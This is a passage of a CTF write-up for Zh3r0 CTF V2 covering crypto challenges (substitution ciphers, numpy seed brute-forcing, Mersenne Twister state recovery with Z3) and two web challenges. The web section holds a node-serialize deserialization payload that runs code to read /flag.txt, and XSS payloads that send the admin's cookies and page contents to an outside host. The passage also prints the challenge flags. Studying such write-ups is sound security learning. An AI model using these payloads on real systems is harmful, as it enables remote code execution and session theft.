        products derived from this software without specific prior written 
        permission.

   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
   A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
   CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
   PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
   LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

As a result, it could determine the satisfying internal state in a few minutes.
I got the flag by concatenating data obtained and using "From Hex" in CyberChef.

zh3r0{7h3_fu7ur3_m1gh7_b3_c4p71v471ng_bu7_n0w_y0u_kn0w_h0w_t0_l00k_a7_7h3_p457}

b00tleg

Information to connect to a TCP server was given.

The server requested us to solve 8 questions like this:

An encrypted flag is given
We can send plaintexts in hexadecimal and obtain corresponding ciphertext
We should guess the method of encryption based on this and send decrypted flag

1st question

The ciphertext is the plaintext with adding one to each bytes.
It can be decrypted by subtracting one from each bytes.
This operation can be done via "SUB" in CyberChef.

68656c6c6f20776f726c6421204c6574732067657420676f696e67
hello world! Lets get going

2nd question

The "ciphertext" is the plaintext converted to decimal.
It can "be decrypted" via Python hex function.

4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74
Nothing fancy, just standard bytes_to_int

3rd question

A substitution cipher is used. Every same value of plaintext bytes are converted to same value in ciphertext.

This can be decrypted using the ciphertext for plaintext 000102 ... fdfeff.

Decryption program

solve-3.pl

#!/usr/bin/perl

use strict;
use warnings;

#my $plain = "000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff";
my $enc = "9070c3f8a494d7260f3985a7db2706f59938cee49e7ffe81213e09e2645569d05ae3ef626b727bad7510b4719a68449397562243cf2050fcf6aff4861e19abe0165992a65d0e2f3de654e566086a4f04b2d2dfcd2a9d33826f24f701e1463f1c17114035a0579c5c0c033a0029da7a254b42781aeb0b6567f9bec2b9a1edaa2ec473537d02fba328c56cb5fad1e81f0d7e8f488d5f2ca9bb8063f0b784053c3b9fd44a95d8c8bfeab14d4cee1ba54e341536a2acc1988b47b39b52fd12d58a8960bd312df11dffd97ccacb41ec0a2bd36eb030c0c9dd76e9ae58a83761b883236df3b6bc87ba74184532e7ccde5e5b4951c777d691dc1479078c968e8813f2c6";

my $target = "da257a255a1a0b401aeb03eb0beb03257a1a5a1178577aeb5aeb0c11eb5a35785711eb036557";

my $len = length($target);
for (my $i = 0; $i < $len; $i += 2) {
    for (my $j = 0; $j < 256; $j++) {
        if (substr($enc, $j * 2, 2) eq substr($target, $i, 2)) {
            printf("%02x", $j);
            last;
        }
    }
}

print "\n";

6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665
mono substitutions arent that creative

4th question

A substitution cipher is used. Different conversion tables seemed used for each different place in plaintext.
I used a program to encrypt 0000 ... 0000, 0101 ... 0101, ... to obtain the conversion tables and performed decryption.

Decryption program

solve-4.pl

#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"crypto.zh3r0.cf", PeerPort=>1111, Proto=>"tcp");

die "socket error: $!" unless $sock;
binmode($sock);

print $sock "2\n";
print $sock "68656c6c6f20776f726c6421204c6574732067657420676f696e67\n";
print $sock "2\n";
print $sock "4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74\n";
print $sock "2\n";
print $sock "6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665\n";

my $key = "Level: 3, encrypted flag: ";

my $target;

for(;;) {
    my $s = <$sock>;
    if (substr($s, 0, length($key)) eq $key) {
        $target = substr($s, length($key));
        chomp($target);
        last;
    }
}

my $tlen = length($target);

my @tables = ();

print "t  : $target\n";

my $header = ">>> message in hex:";

print STDERR (("-" x 64) . "\n");

for (my $i = 0; $i < 256; $i++) {
    print $sock "1\n";
    until (index(<$sock>, "flag") >= 0) {}
    print $sock ((sprintf("%02x", $i) x ($tlen >> 1)) . "\n");
    my $data = <$sock>;
    if (substr($data, 0, length($header)) ne $header) {
        print "invalid data at i = $i\n";
        print $data;
        close($sock);
        exit 1;
    }
    push(@tables, substr($data, length($header)));
    printf("%02x : %s\n", $i, substr($data, length($header), $tlen));
    if (($i + 1) % 4 == 0) {
        print STDERR "#";
    }
}
print STDERR "\n";

close($sock);

print "\nr   : ";

for (my $i = 0; $i < $tlen; $i += 2) {
    my $ct = substr($target, $i, 2);
    my $found = 0;
    for (my $j = 0; $j < 256; $j++) {
        if (substr($tables[$j], $i, 2) eq $ct) {
            printf("%02x", $j);
            $found = 1;
            last;
        }
    }
    unless ($found) { print "??"; }
}
print "\n";

6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172
creating different substitutions for each char

5th question

Each bytes in plaintext are expressed in two bytes in ciphertext.
We can obtain each bytes in plaintext by adding each 2 bytes in ciphertext and extracting lowest 8 bits.

Decryption program

solve-5.pl

#!/usr/bin/perl

use strict;
use warnings;

my $target = "03440765e879204498880470b6b297ca8ee6f92709703c33ef8655cbda8c1e4b135498ddb2c0362ffe661e026f0096dfe1932000096b3d2bd88d40e03e2b6509304676eb7cf6eb7e78e9b2bca5cf";

my $len = length($target);

for (my $i = 0; $i < $len; $i += 4) {
    my $c1 = substr($target, $i, 2);
    my $c2 = substr($target, $i + 2, 2);
    printf("%02x", (hex($c1) + hex($c2)) & 0xff);
}

print "\n";

476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74
Glad that you figured out the invariant

6th question

The plaintext is processed as 5-byte blocks and some random values are added for last missing bytes.
The number of blocks in ciphertext is one in plaintext plus one.

After some investigation, I found following characteristics:

The first block of plaintext can be obtained by exclusive-or of the first and last block of the ciphertext.
The (k+1)-th plaintext block can be obtained by exclusive-or of k-th ciphertext block, (k+1)-th ciphertext block, and k-th plaintext block.

I decrypted the ciphertext by doing this operation manually.

4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65
Here we append the key with your shit, please dont tell anyone

7th question

The ciphertext looked like the plaintext to the 3rd power modulo some value.

The maximum plaintext such that plain 3rd power and the remainder are the same value (in other words, the 3rd power is less than the "some value") can be calculated via binary search.
The "some value" can be obtained using its result.

A program to obtain the ciphertext and the "some value"

solve-7-get-n.py

import socket
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("crypto.zh3r0.cf", 1111))

flags = [
    "68656c6c6f20776f726c6421204c6574732067657420676f696e67",
    "4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74",
    "6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665",
    "6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172",
    "476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74",
    "4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65"
]

for f in flags:
    s.send("2\n".encode())
    s.send((f+"\n").encode())

pat = re.compile("Level: 6, encrypted flag: (\\d+)\n")
pat2 = re.compile("message in hex:(\\d+)\n")

msg = ""
while True:
    msg += s.recv(4096).decode()
    res = pat.search(msg)
    if res:
        cypher_text = res.group(1)
        break

def get(value):
    s.send("1\n".encode())
    query = "%x" % value
    if len(query) % 2 != 0:
        query = "0" + query
    s.send((query+"\n").encode())
    msg = ""
    while True:
        msg += s.recv(4096).decode()
        res = pat2.search(msg)
        if res:
            return int(res.group(1))

def check(value):
    res = get(value)
    return res == value ** 3

print("cypher_text = " + cypher_text)

ok = 0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ng = 0x30000000000000000000000000000000000000000000000000000000000000000000000000000000000000

while not check(ok):
    ok //= 2

while check(ng):
    ng *= 2

while ok + 1 < ng:
    m = ok + (ng - ok) // 2
    print(m)
    if check(m):
        ok = m
    else:
        ng = m

ok_res = get(ok)
ng_res = get(ok + 1)
ng_expected = (ok + 1) ** 3
n = ng_expected - ng_res

print("ok = " + str(ok))
print("ok_res = " + str(ok_res))
print("ng_res = " + str(ng_res))
print("ng_expected = " + str(ng_expected))
print("n = " + str(n))

After obtaining that, the "some value" looked like a prime number.
(checked via 巨大数向け素数判定機 - instant tools (Japanese page))

This means that "the plaintext to the (given value)th power modulo (prime number)" is given.
Therefore, this can be solved using the technique for Single RSA in TSG LIVE! 6 CTF (Japanese page).

In other words, when c, which is the plaintext to the eth power modulo n is given,
it can be decrypted by calculating a value d = pow(e, -1, n - 1) using Python and then calculating c to the dth power modulo n.

43756265206d6f64756c6f207072696d652c20616e7920677565737365732077686174206d6967687420626520636f6d696e67206e6578743f
Cube modulo prime, any guesses what might be coming next?

8th question

The ciphertext looked like the plaintext to the (a few digits in decimal)rd power modulo some value.

The "some value" can be obtained via binary search like the 7th question.
Also, which power to calculate can be determined using the ciphertext for the plaintext 02.

A program to obtain the ciphertext, which power, and the "some value"

solve-8-get-n.py

import socket
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("crypto.zh3r0.cf", 1111))

flags = [
    "68656c6c6f20776f726c6421204c6574732067657420676f696e67",
    "4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74",
    "6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665",
    "6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172",
    "476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74",
    "4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65",
    "43756265206d6f64756c6f207072696d652c20616e7920677565737365732077686174206d6967687420626520636f6d696e67206e6578743f"
]

for f in flags:
    s.send("2\n".encode())
    s.send((f+"\n").encode())

pat = re.compile("Level: 7, encrypted flag: (\\d+)\n")
pat2 = re.compile("message in hex:(\\d+)\n")

msg = ""
while True:
    msg += s.recv(4096).decode()
    res = pat.search(msg)
    if res:
        cypher_text = res.group(1)
        break

def get(value):
    s.send("1\n".encode())
    query = "%x" % value
    if len(query) % 2 != 0:
        query = "0" + query
    s.send((query+"\n").encode())
    msg = ""
    while True:
        msg += s.recv(4096).decode()
        res = pat2.search(msg)
        if res:
            return int(res.group(1))

two_res = get(2)
pnum = 1
while 2 ** pnum < two_res:
    pnum += 1
if 2 ** pnum != two_res:
    raise Exception("two_res = " + str(two_res) + " invalid!")

def check(value):
    res = get(value)
    return res == value ** pnum

print("cypher_text = " + cypher_text)
print("e = " + str(pnum))

ok = 0;
ng = 0x01020304

while not check(ok):
    ok //= 2

while check(ng):
    ng *= 2

while ok + 1 < ng:
    m = ok + (ng - ok) // 2
    print(m)
    if check(m):
        ok = m
    else:
        ng = m

ok_res = get(ok)
ng_res = get(ok + 1)
ng_expected = (ok + 1) ** pnum
n = ng_expected - ng_res

print("ok = " + str(ok))
print("ok_res = " + str(ok_res))
print("ng_res = " + str(ng_res))
print("ng_expected = " + str(ng_expected))
print("n = " + str(n))

The "some value" for this question is also a prime number, so the plaintext can be obtained in the same way as the 7th question.

7a683372307b31375f61316e375f6d7563685f6275375f315f346d5f73306d333768316e675f30665f345f6372797037346e346c7935375f6d7935336c667d
zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}

The flag

zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}

import numpy as MT

Information to connect to a TCP server and a program running there were given.
The program does the following operation:

Import numpy.random as random
Execute random.seed(random 32-bit value)
Execute random.bytes(16) twice and assign each return values to iv and key
Encrypt the flag via CBC-Mode AES with the iv iv and the key key
Concatenate iv before the ciphertext
Perform 2 to 5 once more using the data obtained in 5 as "the flag"
Print obtained data in hexadecimal

The program had a comment:

i dont want people bruteforcing it

I interpreted this as "you should do brute-forcing" (like the way some game characters use for giving hints) and decided to do exhaustive search for the seed value.
The iv is directly printed, so we should search for the seed value that makes random.bytes(16) return that value.

A program to do exhaustive search

bruteforce3.py

from numpy import random
import sys

_, target, start, end = sys.argv

file = open("bruteforce3-%s-%s-%s.txt" % (target, start, end), "w", buffering=1)

for c in range(int(start), int(end)):
    random.seed(c)
    iv = random.bytes(16)
    if iv.hex() == target:
        file.write("found! " + str(c) + "\n")
        break
    if c % 0x10000 == 0:
        print("searching " + str(c))
        file.write("searching " + str(c) + "\n")

file.close()

bruteforce3-launch.bat

start python bruteforce3.py %1 0 268435456
start python bruteforce3.py %1 268435456 536870912
start python bruteforce3.py %1 536870912 805306368
start python bruteforce3.py %1 805306368 10737418204
start python bruteforce3.py %1 1073741824 1342177280
start python bruteforce3.py %1 1342177280 1610612736
start python bruteforce3.py %1 1610612736 1879048192
start python bruteforce3.py %1 1879048192 2147483648
start python bruteforce3.py %1 2147483648 2415919104
start python bruteforce3.py %1 2415919104 2684354560
start python bruteforce3.py %1 2684354560 2952790016
start python bruteforce3.py %1 2952790016 3221225472
start python bruteforce3.py %1 3221225472 3489660928
start python bruteforce3.py %1 3489660928 3758096384
start python bruteforce3.py %1 3758096384 4026531840
start python bruteforce3.py %1 4026531840 4294967296

It took about 3 hours to find one satisfying seed value on my PC (Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz 2.59 GHz).

CyberChef has "AES Decrypt", but it forced to use PKCS#7 padding for CBC-Mode and the last block cannot be obtained in the first decryption.
To overcome this, I used virtualenv to install numpy and pycrypto for decryption on CS50 IDE.
Decryption can be done like this:

import numpy as np
from Crypto.Cipher import AES
np.random.seed(<the obtained seed value>)
iv,key = np.random.bytes(16), np.random.bytes(16)
data = bytes.fromhex("<the hexadecimal data to decrypt without the first 32 characters (iv)>")
cipher = AES.new(key, AES.MODE_CBC, iv)
dc = cipher.decrypt(data)
dc.hex()

The second decryption succeeded on CyberChef.

zh3r0{wh0_th0ugh7_7h3_m3r53nn3_7w1573r_w45_5o_pr3d1c74bl3?c3rt41nly_n0t_m47454n0}

Real Mersenne

Information to connect to a TCP server and a Python program running there were given.
This program performs the following 2000 times:

Obtain a random floating-point number x between 0 and 1 via random.random().
Read a floating-point number y.
Calculate Fraction(2**53,int(2**53*x)-int(2**53*y)) and print that.
If the absolute difference of x and y is 1/2**10 or less, use Fraction(2**10) instead.
When the sum of values calculated in 3 exceeds 10**6, print the flag and exit.

We can obtain the return value of random.random() by entering 0 except for when 1024 is returned.

Referring
cpython/_randommodule.c at main · python/cpython · GitHub
We can learn how the return value of random.random() is constructed from the integer values from the Mersenne Twister.

Based on them, like the challenge Twist and Shout, it looks possible to obtain the initial internal state using Z3 and the ported Mersenne Twister.
Also, once the initial internal state is obtained, we can calculate the random sequence that will produced in the future, and we can make it constantly add 1024 using that.

Actually it succeeded to find the initial internal state from first 1000 values in a few minutes, and to obtain the flag by making it constantly add 1024.

A program to do this operation

solve.py

import socket
import re
import z3
import sys
import time

def getBV(name):
    return z3.BitVec(name, 32)

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

mt_vars = [getBV("mt" + str(i)) for i in range(N)]
mt = [v for v in mt_vars]
mti = N

rshift = z3.LShR

def genrand_int32():
    global mti
    if mti >= N:
        for kk in range(N - M):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + M] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
        for kk in range(N - M, N - 1):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = mt[kk + (M-N)] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
        y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
        mt[N - 1] = mt[M - 1] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
        mti = 0
    y = mt[mti]
    mti = mti + 1
    y = y ^ rshift(y, 11)
    y = y ^ ((y << 7) & 0x9d2c5680)
    y = y ^ ((y << 15) & 0xefc60000)
    y = y ^ rshift(y, 18)
    return y

s = z3.Solver()


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("crypto.zh3r0.cf", 4444))

pat = re.compile("round score: (\\d+)/(\\d+)\n")
pat2 = re.compile("round score: (\\d+)\n")

query_total = 2000
query_num = 1000

for i in range(query_num):
    sock.send("0\n".encode())
    msg = ""
    while True:
        msg += sock.recv(4096).decode()
        res = pat.search(msg)
        if res:
            bunsi = int(res.group(1))
            bunbo = int(res.group(2))
            value = bunbo * ((1 << 53) // bunsi)
            break
        res = pat2.search(msg)
        if res:
            bunsi = int(res.group(1))
            value = ((1 << 53) // bunsi)
            break
    a = rshift(genrand_int32(), 5)
    b = rshift(genrand_int32(), 6)
    if value != ((1 << 53) // 1024):
        # s.add(a * 67108864 + b == value)
        s.add(a == (value >> (32 - 6)))
        s.add(b == (value & ((1 << (32 - 6)) - 1)))
    if i % 50 == 0:
        sys.stderr.write(str(i) + "\n")

sys.stderr.write("solving...\n")
start_time = time.time()
res = s.check()
end_time = time.time()
sys.stderr.write("done in " + str(end_time - start_time) + " sec.\n")

if res == z3.sat:
    m = s.model()
    mt = [m[v].as_long() for v in mt_vars]
    print(mt)
    mti = N
    rshift = lambda a, b : a >> b
    for _ in range(query_num):
        genrand_int32()
        genrand_int32()
    for i in range(query_num, query_total):
        a = genrand_int32() >> 5
        b = genrand_int32() >> 6
        value = (a * 67108864 + b) / float(1 << 53)
        sock.send((str(value) + "\n").encode())
        msg = ""
        while True:
            msg += sock.recv(4096).decode()
            if "guess" in msg:
                break
            if "zh3r0" in msg:
                print(msg)
                sock.close()
                sys.exit(0)
        if i % 50 == 0:
            sys.stderr.write(str(i) + "\n")
else:
    print(res)

sock.close()

zh3r0{r34l_m3n_d34l_w17h_m3r53nn3_w17h_r34l_v4lu3s}

Web

sparta

A link (an URL starting with http) and a server program were given.
The link didn't seem accessible from Firefox and Google Chrome (at least in normal ways).
Google Chrome gave me ERR_UNSAFE_PORT.

Reading the program, I found a part that is decoding data from cookie as Base64 and passing that to serialize.unserialize.
The serialize is:

var serialize = require('node-serialize');

I googled "node-serialize writeup" and found this after following a few links:
Exploiting Node.js deserialization bug for Remote Code Execution(CVE-2017-5941)
According to this, we can have it execute programs by adding () after serialized functions.
We can try the serialization from "Try on RunKit" here:
node-serialize - npm

Also, there should be a file /flag.txt, according to the Dockerfile given.

In conclusion, I succeeded to get the flag by encoding this

{"username":"_$$ND_FUNC$$_function username() {return require('fs').readFileSync('/flag.txt', 'utf8')}()"}

to Base64 via CyberChef and put that in the cookie.

In other words, I got the flag by sending the following HTTP request via Tera Term:

POST /guest HTTP/1.1
Host: web.zh3r0.cf:6666
Connection: close
Content-Length: 0
Cookie: guest=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiB1c2VybmFtZSgpIHtyZXR1cm4gcmVxdWlyZSgnZnMnKS5yZWFkRmlsZVN5bmMoJy9mbGFnLnR4dCcsICd1dGY4Jyl9KCkifQ%3D%3D

zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

bxxs

An URL for a web page was given.
We were able to send some text from the "Send a feedback to admin" page linked from the page.

In the following data, I used a domain for RequestBin endpoint instead of example.com.

I received some requests with empty data by sending this:

<img src="x" id="deadbeef"><img src="x" onerror="document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(document.cookie)">

According to the result of sending this, the texts sent looked put in the body tag without modification:

<img src="x" id="deadbeef"><img src="x" onerror="h=document.getElementsByTagName('html')[0].innerHTML;document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(h)">

According to the result of sending this, the URL for this HTML was found to be
http://0.0.0.0:8080/Secret_admin_cookie_panel:

<img src="x" id="deadbeef"><img src="x" onerror="document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(location.href)">

I changed 0.0.0.0:8080 in this URL to the domain and port for the challenge page, and found that data I sent is displayed.
After reloading the page several times, the flag was shown as an iframe showing http://web.zh3r0.cf:3333/flag.

zh3r0{{Ea5y_bx55_ri8}}

Zh3r0 CTF V2 (2021) Writeup (English version)

About

survey (a challenge I couldn't solve)

Challenges I solved

Miscellaneous

Sanity

A Small Maniac's game

Instructions available

The levels

level 0

level 1

level 2

level 3

level 4

level 5

level 6

level 7

level 8

level 9

level 10

level 11

level 12

flag

Binary Exploitation

Reverse Engineering

BabyRE

Eat Sleep Trace Repeat

Cryptography

alice_bob_dave

chaos

1n_jection

Twist and Shout

b00tleg

1st question

2nd question

3rd question

4th question

5th question

6th question

7th question

8th question

The flag

import numpy as MT

Real Mersenne

Web

sparta

bxxs